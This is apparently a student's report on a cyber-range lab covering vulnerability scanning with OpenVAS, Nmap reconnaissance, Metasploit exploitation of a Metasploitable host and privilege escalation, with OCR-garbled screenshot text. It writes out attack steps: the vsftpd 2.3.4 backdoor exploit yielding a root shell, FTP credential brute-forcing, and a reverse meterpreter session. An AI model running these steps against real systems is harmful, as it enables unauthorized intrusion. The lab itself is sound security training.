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Non-Technical Overview

The two cyber ranges that comprise this lab — one on vulnerability scanning and one on the
Metasploit framework —together instruct participants on how to identify, assess, and exploit
vulnerabilities in computer systems. The first range focuses on the identification and
assessment of vulnerabilities related to network services, misconfigurations, and outdated
software on a remote machine. Participants view reports detailing the vulnerabilities that

were found and learn to triage them by severity.

The first half of the second range deals with penetration testing, a practice in which
authorized individuals attempt to identify and exploit vulnerabilities in a system so that they
can be patched before bad actors do the same. Participants learn how to conduct
reconnaissance by scanning target machines for open ports and services and how to exploit
vulnerabilities found in reconnaissance using the popular Metasploit framework.
Participants also see firsthand how common attack vectors, such as weak credentials, can

expose a system to serious threats.

The second half of the second range is about post-exploitation activities — the things bad
actors can do to damage a system after having gained access to it. The focus is primarily on
privilege escalation. In privilege escalation attacks, the attacker exploits vulnerabilities to
gain a high level of access to the system and the ability to execute administrative commands

or control sensitive resources. This part of the lab intends to reinforce the importance of



proper configuration and robust user access control in mitigating the damage threat actors

can do.

Technical Overview

This lab covers several key technical concepts in skills in the areas of vulnerability
assessment and exploitation. Itis splitinto three parts — vulnerability scanning, penetration

testing, and post-exploitation activities.

The first part centers on vulnerability scanning, specifically using the OpenVAS vulnerability
scanning software. Participants learn how to use OpenVAS to identify and triage weakness
in remote machines. By setting preconfigured credentials in OpenVAS, participants gain
deeper visibility into the system than they would with an unauthenticated scan. (Aksu et al.,

2019)

The second part of the lab deals with penetration testing. It first teaches participants how to
perform reconnaissance with Nmap, identifying network services and software versions that
have known vulnerabilities (Rahalkar, 2019). Once these services are identified, participants
use Metasploit to apply attacks targeted at those specific services (Rani & Nagpal, 2019).
Participants experience gaining unauthorized control over vulnerable systems via shell

access and remote code execution. (The MITRE Corporation, n.d.).



The final part of the lab guides participants through conducting post-exploitation attacks.
LinPEAS is used to automate the process of detecting potential paths to privilege escalation,
including SUID-enabled binaries and outdated versions of sudo. Participants take advantage
of the vulnerabilities LInPEAS detects to elevate themselves to root access. As root, they
enumerate open ports, interfaces, and permissions, and learn how that information can be

used to carry out further attacks.
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Screenshots

1.Step 1

Greenbone Security Assistant - MozilaFirefox

« performance tuning for large-scale scans

« a powerful internal programming language that allows for
implementing custom vulnerability tests Exploit-DB
The scanner is maintained and distributed by Greenbone

Networks. The Greenbone Security Assistant (GSA) is the

web interface of OpenVAS, and it is the easiest and most

straightforward method of managing network vulnerability

scans. To log in to this web interface, open a browser

window and type https://openvas in the URL bar.

http://openvas

Because the certificate OpenVAS uses is self-signed, the
browser may consider it unsafe and display a message
saying the connection is not private.

{} Need a hint?

Step 1/15

Figure 1. Launching the OpenVAS web UI.

3.Step3

When conducting white-box tests, penetration testers are

provided with network and system information such as

network maps and credentials. Credential configuration in

OpenVas is a process that needs to be done only once and

can then be used on different scans of the target. The SSH

credentials for the Metasploitable lab are

msfadmin:msfadmin. To add these credentials, go to

‘Configurations' and select ‘Credentials' from the drop-

down menu:
T r———
G Sun o3 202240 2035

Mosfed: Sun Feb 2202343 2025
Ouer_sam

Comment: SSH credentials for target vuinerabe host
Trpe: w

£ Targets using this Credential (none] i

& Scanners using th dential (non B

Password

Allow insecure use: No
mstadmin

Click on the blue star icon on the top-left corner to add a
new set of credentials. # User Tags (none)
¥ Permissions (none) cae

¢ Need a hint?

Back to task Step 3/15 Read ahead

Figure 2. Creating SSH credentials.



4.Step 4

n the window that pops up, add the following information:

« Name: the name of the target/target list. In this example,
the name of the target is vulnerable-host.

@ Vulnerable Host

« Comment: any information or comment related to the
Wanerae Host
scan.

Targotweh 9 acress 1

Target with IP address <vulnerable-host O var
P>

« Hosts: select "Manual' to specify a host or a range of
hosts to be scanned. The ‘From File' option intakes IP
addresses from a file and adds them to the groups of
targets to be assessed.

<vulnerable-host ip>

« Exclude Hosts: IP addresses of the hosts that should not
be scanned (if any).

45 Need a hint?

Back to task Step 4/15 Read ahead

6.5tep 6

e Securty Assistant - MozilaFirclox

Click on 'Create’ to save the new task. The Tasks dashboard
will look like in the picture below:

To start the scan, click on the 'Start' button in the 'Actions’
column.

———

After starting the scan, the status of the task will change from
"New' to 'Requested’. Note that it will take some time for the
scan to complete. Try refreshing the page to see the
progress.

Ateeable Task
Auto Delets
Reports
Scanner
Scan Conflg

Network Source Intertace

Orcer for target hosts.
Maximum concurrenty executed
NVTS per host

First Scan

(Conducting a scan on host vulnerable-host) Maxtmum concumenty scamned

Back to task Step 6/15 Read ahead

Figure 4. Creating a task.



7.Step 7

Greenbone Security Assistant - MozilaFirefox
Resuits
Notes

Overrides

Logged in a5 Admin admin | Logout
Sun Feb 2 20:32:36 2025 UTC

Click on the report name to view more details.

2=

Sun Feb 2 20:32:21 2025
un Feb 2 20:32:19 202
Sun Feb 220:32:19 2025
1722022203 3 0:32:19 20:
1722022203 Sun Feb 2 20:32:19 2025

Back to task Step 7/15

v) 10.Step 10

yes

msfadmin

s and one for everything else

Reports (1 of 1)

Log

Once the session is established, run the Is command to list
the content of the current working directory.

Last login sep

4 Needa hint?

Step 10/15

Figure 6. Running linpeas.sh.



1.Step 1

The first process is to identify the open network services
while using the Nmap Security Scanner. The following
command line will scan all TCP ports on the target system:

nmap -sV metasploitable -p1-65535

While analyzing the output, we can observe all services that
are running in this system. For this example, we will select
some of them, but itis strongly recommended to investigate
additional vectors of attack against this target.

45 Needa hint?
® Video walkthrough

Step 1/13 Read ahead

2.Step 2

While using the information previously gathered, we can
search for potential exploits. A good candidate is port 21.
From the banner that Nmap managed to grab, it looks like
that the service running is vsftpd 2.3.4. The following
command will search for existing modules related to vsftpd
2.3.4in the msfconsole

search vsftpd 2.3.4

The result of the command shows one version match. The
info command displays more about the capabilities of a
specific module.

info exploit/unix/ftp/vsftpd_234_backdoor

45 Needa hint?
® Video walkthrough

Back to task Step 2/13 Read ahead

3.Step3

what the exploit snould do after a successtul attack. A
payload in Metasploit refers to an exploit module.

The final phase is to execute the exploit. The following
command will try to run the exploit against the selected
target.

exploit

The attack was successful and a command shell session
opened. Now we can start running commands on the
target machine. The result of the command whoami
reveals that we have access as the user root.

whoami

4} Need a hint?
® Video walkthrough
Back to task

Step 3/13 Read ahead

Terminal- root @172

p1-65535
2 21:26 UTC

d
VERSION
vsftpd 2.3.4
OpenSSH 8.2p1 Ubuntu 4ubuntud.3 (Ubuntu Linux; protocol

Linux telnetd
OpensuTPD

Apache httpd 2.4.41 ((Ubuntu))
wysQL 5.0.51a

open telnet

1F (Unknown)
Host: 1p-172-20-10-46.us-east-2.compute. internal; 0Ss: Unix, Linux
/o Linux: 1inux_kernel

perforned. Please report any incorrect re: at https://nmap

ress (1 host up) scanned in 40.37 seconds
2 oi

Terminal- root@%-

1128 auxiliary - 357 post
45 encoders - 10 nops

2099 exploits
592 payloads

vasion

Metasploit tip: View a
ommand

U productivity tips wi

nsf6 > search vsftpd 2.3.4

Disclosure Date Rank

0 exploit/unix/ftp/JEHERH_234_backdoor
SEIPD V2RI Backdoor Command Exec

Interact with a module by name or index. For ex

usf6 > |

Terminal-root @ip-172-20.

References
05V0B (73573)
http://pastebin. con/AetT
p://scarybeastsecurity.blogspot . con/2011/07/alert-vsftpd-download-backdoore
d.htal

nsf6 > use exploit/unix/ftp/vsftpd_234_backdoor
No payload configured, defaulting to cad/unix/interact
nsf6 exploi ) > set rhost 172.20.10.46
rhost => 172.20.10.46
nsf6 exploit( ) > exploit
20.10 Banner
0.10. USER: 33
0.10.
D

n 1 opened (0.0.0.0:0 -> 172.20.10.46:6200) at 2

1:33:28 +0000

whoami
root

Figure 9. Gaining root access on metasploitable.
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6.Step 6

set user_file
/root/Tools/username_list. txt

set pass_file
/root/Tools/password_list. txt

set rhost <METASPLOITABLE IP>

exploit

45 Needa hint?
® Video walkthrou;

Back to task Step 6/13 Read ahead

Figure 10. Attempting FTP login.

12. Step 12

—

exploit, use show options.
show options

Stdapi: Audio

Command
play

meterpreter >

{} Need a hint?

Step 11 - Hint 1
Step 11 - Hint 2
Step 11- Hint 3

® Video walkthrou;

Back to task Step 12/13

Figure 11. Interacting with meterpreter.

1 hosts (100% cony

le (.vav) on the

target s

ute.internal (uid=109,

N

BY OFFENSIVE SECURITY

KAL

BY OFFENSIVE SECURITY




13. Step 13

set lhost <KALI IP>

exploit

8sf6 explo
Unknown command

" plo -
Run the getuid command to check the user id. arting int n with
eterpreter
Server username n 2 ;- ompute. internal (uid=1000

getuid

BY OFFENSIVE SECURITY

4 Needahint?

Step 12 - Hint 1

Step 12 - Hint 2

Back to task NCREE]

Figure 12. Getting the user ID of msfadmin.



